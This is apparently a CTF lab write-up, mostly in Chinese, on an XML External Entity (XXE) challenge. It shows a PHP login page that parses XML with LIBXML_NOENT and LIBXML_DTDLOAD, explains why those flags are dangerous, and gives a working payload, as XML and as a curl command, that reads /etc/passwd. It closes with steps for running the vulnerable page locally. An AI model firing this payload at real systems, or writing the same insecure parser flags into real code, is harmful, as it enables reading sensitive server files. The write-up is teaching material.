Simple Web 0x23(Lab - XXE)

Simple Web 0x23(Lab - XXE)

tags: NTUSTWS CTF Web

Challenge: http://h4ck3r.quest:8604/

Background

Source code

1
2
3
4
5
6
7
8
9
10
<?php
   $xmlfile = urldecode(file_get_contents('php://input'));
   if (!$xmlfile) die(show_source(__FILE__));

   $dom = new DOMDocument();
   $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
   $creds = simplexml_import_dom($dom);
   $user = $creds->user;
   echo "You have logged in as user $user";
?>

Analyze

此php會讀request body,並且以xml的格式讀取,最重要的就是怎麼讀取

1
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

這兩個flag非常危險

Flag 意義 風險
LIBXML_NOENT 解析實體(entity expansion) 會展開 <!ENTITY>
LIBXML_DTDLOAD 允許載入外部 DTD 可讀取外部檔案

這直接開啟 XXE(XML External Entity),如果這邊的邏輯允許XXE,那麼我們就可以寫一個payload傳進去讀取機敏資料

Exploit - XXE

Normal Usage in this webpage → 修改封包

  • Payload
    1
    2
    3
    4
    5
    6
    7
      <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE ANY [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
      ]>
      <test>
      <user>&xxe;</user>
      </test>
    

or

1
2
3
4
5
6
7
8
$ curl -X POST http://localhost:8000 \
-d '<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>
<user>&xxe;</user>
</test>'

如果要Deploy on localhost

  1. 安裝php-xml
    1
     $ sudo apt install php-xml -y
    
  2. Start Server
    1
     $ php -S localhost:8000 -f ./php_login.php